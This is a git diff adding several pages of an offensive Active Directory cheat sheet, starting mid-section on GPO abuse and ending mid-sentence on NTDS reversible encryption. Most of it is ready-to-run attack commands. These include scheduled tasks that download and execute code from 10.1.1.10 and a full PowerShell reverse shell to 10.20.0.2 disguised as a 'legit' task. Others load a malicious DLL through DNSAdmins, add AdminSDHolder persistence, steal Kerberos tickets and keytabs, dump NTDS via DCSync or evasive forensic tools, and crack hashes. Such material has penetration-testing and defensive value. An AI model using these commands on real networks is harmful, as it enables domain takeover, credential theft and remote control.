GPO" + +# Adding a Local Admin +.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO" + +# Configuring a User or Computer Logon Script +.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" + +# Configuring a Computer or User Immediate Task +# /!\ Intended to "run once" per GPO refresh, not run once per system +.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" +.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force +``` + +## Abuse GPO with PowerGPOAbuse + +* [rootSySdk/PowerGPOAbuse](https://github.com/rootSySdk/PowerGPOAbuse) - Powershell version of SharpGPOAbuse. + +```ps1 +PS> . .\PowerGPOAbuse.ps1 + +# Adding a localadmin +PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO' + +# Assign a new right +PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO' + +# Adding a New Computer/User script +PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO' + +# Create an immediate task +PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO' +``` + +## Abuse GPO with pyGPOAbuse + +* [Hackndo/pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse) - Partial python implementation of SharpGPOAbuse. + +```powershell +# Add john user to local administrators group (Password: H4x00r123..) +./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" + +# Reverse shell example +./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ + -powershell \ + -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ + -taskname "Completely Legit Task" \ + -description "Dis is legit, pliz no delete" \ + -user +``` + +## Abuse GPO with PowerView + +```powershell +# Enumerate GPO +Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} + +# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO +New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force +``` + +## Abuse GPO with StandIn + +* [FuzzySecurity/StandIn](https://github.com/FuzzySecurity/StandIn) - StandIn is a small .NET35/45 AD post-exploitation toolkit. + +```powershell +# Add a local administrator +StandIn.exe --gpo --filter Shards --localadmin user002 + +# Set custom right to a user +StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege" + +# Execute a custom command +StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args" +``` + +## Abuse GPO with GroupPolicyBackdoor + +* [synacktiv/GroupPolicyBackdoor](https://github.com/synacktiv/GroupPolicyBackdoor) - Group Policy Objects manipulation and exploitation framework + +```ps1 +# Add Immediate Task to your target GPO +python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO' + +# Clean +python3 gpb.py gpo clean --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --state-folder 'state_folders/2025_07_15_075047' +``` + +**ImmediateTask_create.ini**: + +```ps1 +[MODULECONFIG] +name = Scheduled Tasks +type = computer + +[MODULEOPTIONS] +task_type = immediate +program = cmd.exe +arguments = /c "whoami > C:\Temp\poc.txt" + +[MODULEFILTERS] +filters = + [{ + "operator": "AND", + "type": "Computer Name", + "value": "ad01-srv1.corp.com" + }] +``` + +## References + +* [A Red Teamer's Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179) +* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/) +* [Abusing sAMAccountName Hijacking in "GPP: Local Users and Groups" - @toffyrak - June 12, 2025](https://www.cogiceo.com/en/whitepaper_gpphijacking/) +* [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-1/) +* [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-2/) +* [GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019](https://pentestmag.com/gpo-abuse-you-cant-see-me/) +* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-groups.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-groups.md new file mode 100644 index 0000000..6597989 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-groups.md @@ -0,0 +1,175 @@ +# Active Directory - Groups + +## Dangerous Built-in Groups Usage + +If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `adminCount` attribute to `0` for the required object. + +> The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s). + +Find users with `AdminCount=1`. + +```ps1 +netexec ldap 10.10.10.10 -u username -p password --admin-count +# or +bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get search --filter '(admincount=1)' --attr sAMAccountName +# or +python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10 +jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json +# or +Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)" +Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" +# or +([adsisearcher]"(AdminCount=1)").findall() +``` + +## AdminSDHolder Attribute + +> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins. + +If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour). + +E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group. + +* Windows/Linux: + + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 add genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john + + # Clean up after + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 remove genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john + ``` + +* Windows only: + + ```ps1 + # Add a user to the AdminSDHolder group: + Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose + + # Right to reset password for toto using the account titi + Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword + + # Give all rights + Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All + ``` + +## DNS Admins Group + +> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM). + +:warning: Require privileges to restart the DNS service. + +* Enumerate members of DNSAdmins group + * Windows/Linux: + + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object DNSAdmins --attr msds-memberTransitive + ``` + + * Windows only: + + ```ps1 + Get-NetGroupMember -GroupName "DNSAdmins" + Get-ADGroupMember -Identity DNSAdmins + ``` + +* Change dll loaded by the DNS service + + ```ps1 + # with RSAT + dnscmd /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll + dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll + + # with DNSServer module + $dnsettings = Get-DnsServerSetting -ComputerName -Verbose -All + $dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll" + Set-DnsServerSetting -InputObject $dnsettings -ComputerName -Verbose + ``` + +* Check the previous command success + + ```ps1 + Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll + ``` + +* Restart DNS + + ```ps1 + sc \\dc01 stop dns + sc \\dc01 start dns + ``` + +## Schema Admins Group + +> The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory. + +## Backup Operators Group + +> Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers. + +This groups grants the following privileges : + +* SeBackup privileges +* SeRestore privileges + +Get members of the group: + +* Windows/Linux: + + ```ps1 + bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object "Backup Operators" --attr msds-memberTransitive + ``` + +* Windows only: + + ```ps1 + PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse + ``` + +Enable privileges using [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege) + +```ps1 +Import-Module .\SeBackupPrivilegeUtils.dll +Import-Module .\SeBackupPrivilegeCmdLets.dll + +Set-SeBackupPrivilege +Get-SeBackupPrivilege +``` + +Retrieve sensitive files + +```ps1 +Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite +``` + +Retrieve content of AutoLogon in the `HKLM\SOFTWARE` hive + +```ps1 +$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64) +$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon') +$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"} +``` + +Retrieve `SAM`,`SECURITY` and `SYSTEM` hives + +* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) + + ```ps1 + nxc smb 10.10.10.10 -u user -p password -M backup_operator + ``` + +* [mpgn/BackupOperatorToDA](https://github.com/mpgn/BackupOperatorToDA) + + ```ps1 + .\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\ + ``` + +* [improsec/BackupOperatorToolkit](https://github.com/improsec/BackupOperatorToolkit) + + ```ps1 + .\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK + ``` + +## References + +* [Poc’ing Beyond Domain Admin - Part 1 - cube0x0](https://cube0x0.github.io/Pocing-Beyond-DA/) +* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-linux.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-linux.md new file mode 100644 index 0000000..62dd96d --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-linux.md @@ -0,0 +1,231 @@ +# Active Directory - Linux + +## CCACHE ticket reuse from /tmp + +> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions + +List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. + +```powershell +$ ls /tmp/ | grep krb5cc +krb5cc_1000 +krb5cc_1569901113 +krb5cc_1569901115 + +$ export KRB5CCNAME=/tmp/krb5cc_1569901115 +``` + +## CCACHE ticket reuse from keyring + +Tool to extract Kerberos tickets from Linux kernel keys : + +```powershell +# Configuration and build +git clone https://github.com/TarlogicSecurity/tickey +cd tickey/tickey +make CONF=Release + +[root@Lab-LSV01 /]# /tmp/tickey -i +[*] krb5 ccache_name = KEYRING:session:sess_%{uid} +[+] root detected, so... DUMP ALL THE TICKETS!! +[*] Trying to inject in tarlogic[1000] session... +[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache +[*] Trying to inject in velociraptor[1120601115] session... +[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache +[*] Trying to inject in trex[1120601113] session... +[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache +[X] [uid:0] Error retrieving tickets +``` + +## CCACHE ticket reuse from SSSD KCM + +System Security Services Daemon (SSSD) maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. +The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. +By default, the key is only readable if you have **root** permissions. + +Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets. + +```powershell +git clone https://github.com/fireeye/SSSDKCMExtractor +python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey +``` + +The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus. + +## CCACHE ticket reuse from keytab + +```powershell +git clone https://github.com/its-a-feature/KeytabParser +python KeytabParser.py /etc/krb5.keytab +klist -k /etc/krb5.keytab +``` + +## Extract accounts from /etc/krb5.keytab + +The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure. + +Use [microsoft/klist](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/klist) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user. + +```powershell +$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab +[...] +[26] Service principal: host/COMPUTER@DOMAIN + KVNO: 25 + Key type: 23 + Key: 31d6cfe0d16ae931b73c59d7e0c089c0 + Time stamp: Oct 07, 2019 09:12:02 +[...] +``` + +On Linux you can use [sosdave/KeyTabExtract](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash. + +```powershell +$ python3 keytabextract.py krb5.keytab +[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck +[+] Keytab File successfully imported. + REALM : DOMAIN + SERVICE PRINCIPAL : host/computer.domain + NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky +``` + +On macOS you can use [its-a-feature/bifrost](https://github.com/its-a-feature/bifrost). + +```powershell +./bifrost -action dump -source keytab -path test +``` + +Connect to the machine using the account and the hash with CME. + +```powershell +$ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN" +10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 +``` + +## Extract accounts from /etc/sssd/sssd.conf + +> sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf + +The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password". + +```ini +[sssd] +config_file_version = 2 +... +[domain/LDAP] +... +ldap_uri = ldap://127.0.0.1 +ldap_search_base = ou=People,dc=srv,dc=world +ldap_default_authtok_type = obfuscated_password +ldap_default_authtok = [BASE64_ENCODED_TOKEN] +``` + +De-obfuscate the content of the ldap_default_authtok variable with [mludvig/sss_deobfuscate](https://github.com/mludvig/sss_deobfuscate) + +```ps1 +./sss_deobfuscate [ldap_default_authtok_base64_encoded] +./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID +``` + +## Extract accounts from SSSD keyring + +**Requirements**: + +* `krb5_store_password_if_offline = True` in `/etc/sssd/sssd.conf` + +**Exploit**: + +When `krb5_store_password_if_offline` is enabled, the AD password is stored plaintext. + +```ps1 +[domain/domain.local] +cache_credentials = True +ipa_domain = domain.local +id_provider = ipa +auth_provider = ipa +access_provider = ipa +chpass_provider = ipa +ipa_server = _srv_, server.domain.local +krb5_store_password_if_offline = true +``` + +Grab the PID of the SSSD process and hook it in `gdb`. Then list the process keyrings. + +```ps1 +gdb -p +call system("keyctl show > /tmp/output") +``` + +From the `/tmp/output` locate the `key_id` for the user you want. + +```ps1 +Session Keyring + 237034099 --alswrv 0 0 keyring: _ses + 689325199 --alswrv 0 0 \_ user: user@domain.local +``` + +Back to GDB: + +```ps1 +call system("keyctl print 689325199 > /tmp/output") +``` + +## SSH GSSAPI + +GSSAPI (Generic Security Services Application Program Interface) is an API that provides security services (such as authentication) and acts as an abstraction layer for different security mechanisms, such as Kerberos. + +**Requirements**: + +* Write permission on **Public-Information** field +* SSH server supporting GSSAPI authentication: [CCob/gssapi-abuse](https://github.com/CCob/gssapi-abuse) + + ```ps1 + ./gssapi-abuse.py -d grandline.local enum -u username -p 'P@ssw0rd' + ``` + +**Methodology**: + +Since MIT Kerberos doesn't verify the PAC, controlling a domain account and altering its UPN allows us to masquerade as a different user. + +* Modify the `userPrincipalName` inside the **Public-Information** field. + + ```ps1 + bloodyAD --host "dc1.domain.local" -d "domain.local" -u 'username' -p 'P@ssw0rd' set object username userPrincipalName -v 'administrator' + ``` + +* Request a ticket with the `NT_ENTERPRISE` principal because it searches for `userPrincipalName` before `samAccountName` in the ticket. + + ```ps1 + getTGT.py -dc-ip "10.10.10.10" "domain.local"/"username":'P@ssw0rd' -principalType NT_ENTERPRISE + .\Rubeus.exe asktgt /user:Administrator /password:Password /principalType:enterprise + ``` + +* Edit `/etc/krb5.conf` to authenticate to the Linux host via GSSAPI. + + ```yaml + [libdefaults] + default_realm = DOMAIN.LOCAL + + [realms] + DOMAIN.LOCAL = { + kdc = dc1.domain.local + } + + [domain_realm] + .domain.local = DOMAIN.LOCAL + domain.local = DOMAIN.LOCAL + ``` + +* SSH connection + + ```ps1 + export KRB5CCNAME=username.ccache + ssh -vv -K username@domain.local@linux.domain.local + ``` + +## References + +* [20.4. Caching Kerberos Passwords - Red Hat Customer Portal](https://access.redhat.com/documentation/fr-fr/red_hat_enterprise_linux/6/html/identity_management_guide/kerberos-pwd-cache) +* [A broken marriage. Abusing mixed vendor Kerberos stacks - Ceri Coburn - August 25, 2023](https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/?ref=rayanle.cat) +* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/) +* [Hack'in 2025 - One Directory - rayanlecat - June 25, 2025](https://www.rayanle.cat/hackin-2025-one-directory/) +* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-machineaccountquota.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-machineaccountquota.md new file mode 100644 index 0000000..8d07584 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-machineaccountquota.md @@ -0,0 +1,46 @@ +# Active Directory - Machine Account Quota + +In Active Directory (AD), the `MachineAccountQuota` is a limit set on how many computer accounts a specific user or group can create in the domain. + +When a user attempts to create a new computer account, AD checks the current number of computer accounts that the user has already created against the defined quota for that user or group. + +However, Active Directory does not store the current count of created machine accounts directly in a user attribute. Instead, you would need to perform a query to count the machine accounts that were created by a specific user. + +## Machine Account Quota Process + +1. **Quota Definition**: The `MachineAccountQuota` is defined at the domain level and can be set for individual users or groups. By default, it is set to **10** for the "Domain Admins" group and to 0 for standard users, limiting their capability to create computer accounts. + + ```powershell + nxc ldap -u user -p pass -M maq + ``` + +2. **Creation Process**: When a user attempts to create a new computer account (for example, by using the "Add Computer" option in Active Directory Users and Computers or via PowerShell), the account creation request is made to the domain controllers (DCs). + + ```powershell + impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword' + ``` + +3. **Quota Evaluation**: Before the account is created, Active Directory checks the current count of computer accounts created by that user. This is done by querying the `msDS-CreatorSID` attribute, which holds the SID of the user who created that object. +The system compares this count to the `MachineAccountQuota` value set for that user. If the count is less than the quota, the creation proceeds; if it equals or exceeds the quota, the creation is denied, and an error is returned. + + ```powershell + # Replace DOMAIN\username with the actual domain and user name + $user = "DOMAIN\username" + + # Get the user's SID + $userSID = (Get-ADUser -Identity $user).SID + + # Count the number of computer accounts created by this user + $computerCount = (Get-ADComputer -Filter { msDS-CreatorSID -eq $userSID }).Count + + # Display the count + $computerCount + ``` + +4. **Failure Handling**: If the quota is exceeded, the user attempting to create the account will receive an error message indicating that they cannot create a new computer account because they have reached their quota limit. + +## References + +* [MachineAccountQuota - The Hacker Recipes - 24/10/2024](https://www.thehacker.recipes/ad/movement/builtins/machineaccountquota) +* [MachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory's Oddest Settings - Kevin Robertson - March 6, 2019](https://www.netspi.com/blog/technical-blog/network-penetration-testing/machineaccountquota-is-useful-sometimes/) +* [Machine Account Quota - NetExec - 13/09/2023](https://www.netexec.wiki/ldap-protocol/machine-account-quota) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-ntds-dumping.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-ntds-dumping.md new file mode 100644 index 0000000..4625a25 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-ntds-dumping.md @@ -0,0 +1,194 @@ +# Active Directory - NTDS Dumping + +You will need the following files to extract the ntds : + +- NTDS.dit file +- SYSTEM hive (`C:\Windows\System32\SYSTEM`) + +Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`. + +- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data). +- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD. + +However you can change the location to a custom one, you will need to query the registry to get the current location. + +```powershell +reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file" +``` + +## DCSync Attack + +DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data. + +- DCSync only one user + + ```powershell + mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt + ``` + +- DCSync all users of the domain + + ```powershell + mimikatz# lsadump::dcsync /domain:htb.local /all /csv + + netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds + netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds drsuapi + ``` + +> :warning: OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts. + +## Volume Shadow Copy + +The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process. + +- [windows-commands/vssadmin](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/vssadmin) + + ```powershell + vssadmin create shadow /for=C: + copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy + copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy + ``` + +- [windows-commands/ntdsutil](https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/use-ntdsutil-manage-ad-files) + + ```powershell + ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q + ``` + +- [Pennyw0rth/NetExec](https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-ntds.dit) - VSS module + + ```powershell + nxc smb 10.10.0.202 -u username -p password --ntds vss + ``` + +Alternate way to access a VSS snapshot in GUI: + +- Select a snapshot, go to "Previous Versions" tab +- See the properties and recover the path in this format `@GMT-yyyy.MM.dd-HH.mm.ss` + + ```ps1 + Y:\@GMT-2025.07.10-13.05.00 + ``` + +## Forensic Tools + +A good method for avoiding or reducing detections involves using common forensic tools to dump the NTDS.dit file and the SYSTEM hive. By utilizing widely recognized and legitimate forensic software, the process can be conducted more discreetly and with a lower risk of triggering security alerts. + +- Dump the memory with [magnet/dumpit](https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/) +- Use volatility to extract the `SYSTEM` hive + + ```ps1 + volatility -f test.raw windows.registry.printkey.PrintKey + volatility --profile=Win10x64_14393 dumpregistry -o 0xaf0287e41000 -D output_vol -f test.raw + ``` + +- Use [exterro/ftk-imager](https://www.exterro.com/digital-forensics-software/ftk-imager) to read the disk in raw state + - Go to `File` -> `Add Evidence Item` -> `Physical Drive` -> `Select the C drive`. + - Export `C:\Windows\NTDS\ntds.dit`. +- Finally use secretdump: `secretsdump.py LOCAL -system output_vol/registry.0xaf0287e41000.SYSTEM.reg -ntds ntds.dit` + +## Extract hashes from ntds.dit + +Then you need to use [impacket/secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit + +```java +secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL +``` + +[secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) also works remotely + +```java +./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status +./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 +``` + +- `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account. +- `-user-status`: Display whether or not the user is disabled. + +## Extract hashes from adamntds.dit + +In AD LDS stores the data inside a dit file located at `C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit`. + +- Dump adamntds.dit with Shadow copy using `vssadmin.exe` + + ```ps1 + vssadmin.exe create shadow /For=C: + cp "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Program files\Microsoft ADAM\instance1\data\adamntds.dit" \\exfil\data\adamntds.dit + ``` + +- Dump adamntds.dit with Windows Server Backup using `wbadmin.exe` + + ```ps1 + wbadmin.exe start backup -backupTarget:e: -vssCopy -include:"C:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit" + wbadmin.exe start recovery -version:08/04/2023-12:59 -items:"c:\Program Files\Microsoft ADAM\instance1\data\adamntds.dit" -itemType:File -recoveryTarget:C:\Users\Administrator\Desktop\ -backupTarget:e: + ``` + +- Extract hashes with [synacktiv/ntdissector](https://github.com/synacktiv/ntdissector) + + ```ps1 + ntdissector path/to/adamntds.dit + python ntdissector/tools/user_to_secretsdump.py path/to/output/*.json + ``` + +## Crack NTLM hashes with hashcat + +Useful when you want to have the clear text password or when you need to make stats about weak passwords. + +Recommended wordlists: + +- [Rockyou.txt](https://weakpass.com/wordlist/90) +- [Have I Been Pwned founds](https://hashmob.net/hashlists/info/4169-Have%20I%20been%20Pwned%20V8%20(NTLM)) +- [Weakpass.com](https://weakpass.com/) +- Read More at [Methodology and Resources/Hash Cracking.md](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/) + +```powershell +# Basic wordlist +# (-O) will Optimize for 32 characters or less passwords +# (-w 4) will set the workload to "Insane" +$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2 + +# Generate a custom mask based on a wordlist +$ git clone https://github.com/iphelix/pack/blob/master/README +$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask +$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask +``` + +:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like : + +- [hashmob.net](https://hashmob.net) +- [crackstation.net](https://crackstation.net) +- [hashes.com](https://hashes.com/en/decrypt/hash) + +## NTDS Reversible Encryption + +`UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED` ([0x00000080](http://www.selfadsi.org/ads-attributes/user-userAccountControl.htm)), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form. + +The key used to both encrypt and 